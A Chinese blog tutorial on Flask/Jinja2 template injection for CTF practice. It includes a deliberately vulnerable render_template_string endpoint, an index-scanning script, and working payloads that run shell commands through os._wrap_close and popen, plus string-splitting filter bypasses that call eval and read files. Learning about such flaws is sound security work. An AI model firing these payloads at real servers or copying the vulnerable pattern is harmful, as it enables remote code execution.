您现在的位置是:首页 >技术交流 >【Python】Flask模板注入从0到1网站首页技术交流

【Python】Flask模板注入从0到1

Elitewa 2023-06-19 09:19:54
简介【Python】Flask模板注入从0到1

目录

一、什么是Flask:

二、flask搭建网站样例:

源码如下:

源码讲解:

访问结果:

三、模版注入预备知识:

1、对象的默认属性方法:

 例如:

2、object类:

3、Jinja2模版引擎渲染:

0x1:render_template 渲染:

0x2:render_template_string 渲染(SSTI有关函数):

四、注入讲解(os._wrap_close 类为例):

1、获取该类在当前环境的数组下标

脚本为:

2、构造payload

payload为:

payload讲解:

3、一些常用的绕过姿势:


一、什么是Flask:

flask是目前python主流的一个web微框架,通过flask框架我们可以利用python语言搭建起web服务,详细请见flask官方文档

二、flask搭建网站样例:

源码如下:

from flask import Flask
from flask import jsonify
from flask import request
app = Flask(__name__)
@app.route('/')
def hello():
    return 'I love CTF!'
@app.route('/value',methods=['GET', 'POST'])
def value():
    if request.method == "GET":
        return 'key='+str(request.args.get('key'))
    else:
        return "error: 请分别以 GET 和 POST 提交参数"
if __name__ == '__main__':
    # 默认方式启动
    # app.run()
    # 解决jsonify中文乱码问题
    app.config['JSON_AS_ASCII'] = False
    # 以调试模式启动,host=0.0.0.0 ,则可以使用127.0.0.1、localhost以及本机ip来访问
    app.run(host="0.0.0.0",port=8888,debug=True)

源码讲解:

  app.route(rule, options)  此函数代表路由,将路径与接下来的函数绑定

rule : 要绑定的URL路径
options: 是要转发给基础Rule对象的参数列表,可以为get或post方法


在上面的示例中,’/ ’ URL与hello_world()函数绑定。因此,当在浏览器中打开web服务器的主页时,将呈现该函数的输出

app.run(host, port, debug, options) 此函数用于网站启动配置

 host:要监听的主机名。 默认为127.0.0.1(localhost)。设置为“0.0.0.0”以使服务器在外部可用
port :默认值为5000
debug:默认为false。 如果设置为true,则提供调试信息,可以自动重载代码并显示调试信息
options:要转发到底层的Werkzeug服务器

request.args.get('key')

获取 get表单的参数,这里是获得 key 的键值

获取表单值的函数还有
CET方式:
	request.form.get("key", type=str, default=None) # 获取表单数据
	request.args.get("key") # 获取get请求参数
	request.values.get("key") # 获取所有参数
POST方式:
    request.form.get('key')
    request.form['key']

访问结果:

 这里我们访问的路径是  /value 调用路由 @app.route('/value',methods=['GET', 'POST'])

并且GET传参key为“I love CTF !”,该路由下的函数会return key的值

三、模版注入预备知识:

记住这句话 “Python中一切皆对象”

一个字符串,一个函数,一个实例化的类等都可以被看做对象

1、对象的默认属性方法:

__class__  //列出当前对象的所属的类

__bases__  //列出当前类所有直接父类,并以元组形式返回

__mro__  //列出解析方法调用类的顺序,包含祖先类

__subclasses__()  //以返回类的子类的列表

Python中对象的属性和方法都可用 . 号访问

 例如:

class Animal:
    pass

class Dog(Animal):
    pass
a=Dog()
print(a.__class__)    
print(a.__class__.__bases__)
print(a.__class__.__mro__) 
print(a.__class__.__bases__[0].__subclasses__()) 

>>> <class '__main__.Dog'>  对象所属的类
>>> (<class '__main__.Animal'>,) 类的直接父类组成的元组   
>>> (<class '__main__.Dog'>, <class '__main__.Animal'>, <class 'object'>) //类的调用过程中所有的类,包括祖先类
>>> [<class '__main__.Dog'>]  Animal类子类的列表

2、object类:

在Python中,object类是所有类的基类,也被称为顶层基类。它定义了一些通用的方法和属性,这些方法和属性可以被所有子类继承和使用。如果一个类没有指定自己的基类,那么默认就会继承自object类(也就是所任何类追溯到源头基类都是object类)

object类可调用python中任何原生的类,任何类都是它的子类

3、Jinja2模版引擎渲染:

什么是模版引擎请参考博主的这篇文章Smarty模版注入

Jinja2是flask框架自带的模版引擎

0x1:render_template 渲染:

前端:

前段人员只需用  {{}} 代替获取后端变量的代码即可,Jinja2模版引擎会自动渲染更新变量

<html>
  
    <h1>{{title}}</h1>
 
 <body>
      <a>Hello, {{name}}!</a>
  </body>
</html>

后端:

from flask import render_template
from flask import Flask
app = Flask(__name__)
@app.route('/')     #我们访问/会跳转
def index():
   title="Flak框架测试" #传入标题
   user = "ELITE"  #传入用户名
   return render_template("index.html",title=title,name=user)
if __name__ == '__main__':
    app.run(host="0.0.0.0",port=8888,debug=True)
  • 此函数会自动把我们传入或定义好的变量渲染到html文件中被{{}}标记的变量中
  • 该函数使用规定好的模板文件进行渲染,并不会产生注入
  • 需要将要渲染的html文件放入同目录下的templates文件夹

结果为:

0x2:render_template_string 渲染(SSTI有关函数):

后端:

from flask import render_template
from flask import render_template_string
from flask import request
from flask import Flask
app = Flask(__name__)
@app.route('/test',methods=['GET'])
def test():
    template = '''
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div> 
    ''' %(request.url)
    return render_template_string(template)
if __name__ == '__main__':
    app.run(host="0.0.0.0",port=8888,debug=True)

 该函数将渲染模版直接写入当前Python文件中,可通过render_template_string函数造成模板注入

render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把 {{}} 包裹的内容当做变量解析替换,注入正是因此引起

结果为:

四、注入讲解(os._wrap_close 类为例):

我们可以根据上文的 __class__,__mro__,__bases__等默认属性,调用出object类的,并使用__subclasses__()方法(返回值为该环境下所有类的列表),我们可以从中选择含有可以用方法的类,然后调用,传入payload

1、获取该类在当前环境的数组下标

脚本为:

import requests
from tqdm import tqdm
 
for i in tqdm(range(233)):
    url = 'url/?变量={{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
    r = requests.get(url=url).text
    if('os._wrap_close' in r):
        print(i)

2、构造payload

这里os._wrap_close 类的数组下标为 132

payload为:

1、查看类中的可利用方法

{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__}}

 

2、利用popen()方法

{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

payload讲解:

__class__.__bases__[0] 代表object基类

__subclasses__()[132]  代表object子类集合中的第132个类(os._wrap_close)

__init__  初始化os._wrap_close类

__globals__ 返回os._wrap_close类中所有的方法及属性

__globals__['popen'] 调用该类的popen方法,该方法可执行传入的shell命令

read()  读取输出命令执行结果
 

3、一些常用的绕过姿势:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )}}

{{object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')}}

{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。